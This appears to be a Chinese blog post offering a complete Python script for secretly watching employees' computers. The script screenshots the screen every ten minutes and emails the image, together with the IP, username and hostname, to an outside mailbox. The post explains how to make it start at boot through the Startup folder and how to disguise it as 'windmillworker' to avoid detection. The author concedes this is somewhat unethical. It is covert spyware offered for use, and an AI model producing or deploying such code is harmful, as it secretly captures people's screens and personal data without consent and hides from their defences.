admin管理员组

文章数量:1558697

        适用于公司防止摸鱼(虽然有点不道德),可使用pyinstaller工具打包,生成快捷方式,再放到

C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 路径就可以实现开机自启动

能获取 时间, ip,用户名,计算机名

我采用的是伪装成windmillworker  不会有程序检测到

 

授权码获取方法:

    这里以QQ邮箱为例,其他邮箱可百度

完整代码:

import time,os,socket,requests,smtplib
from PIL import ImageGrab
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
host_name = socket.gethostname()
user_name = os.getlogin()
ip = requests.get('http://ifconfig.me/ip', timeout=1).text.strip()
def run(title,text,img):
    number = '发送的邮箱' # 必须和授权码的邮箱一致
    sender = '接收的邮箱' # 可随便填
    password = '授权码' # QQ邮箱申请的授权码
    receivers = number
    content = MIMEText(text, _subtype="html", _charset="utf-8")
    msg = MIMEMultipart('related')
    msg.attach(content)
    imageFile = fr"{img}"
    imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
    imageApart.add_header('Content-Disposition', 'attachment', filename=imageFile)
    msg.attach(imageApart)
    msg['Subject'] = title
    msg['From'] = sender
    msg['To'] = receivers
    try:
        server = smtplib.SMTP('smtp.qq')
        server.login(sender, password)
        server.sendmail(msg['From'], msg['To'].split(','), msg.as_string())
        print(f'发送成功')
    except smtplib.SMTPException as e:
        print(f'发送失败{e}')
while True:
    ImageGrab.grab().save(r"img.png")
    info = f'时间:{time.strftime("%Y-%m-%d %H:%M:%S")}\nip:{ip}\n用户名:{user_name}\n计算机名:{host_name}'
    run(f'{user_name}',f'{info}','img.png')
    os.remove('img.png')
    time.sleep(600) # 这里可根据需求自行设置时间

本文标签: 监视器邮箱摸鱼电脑Python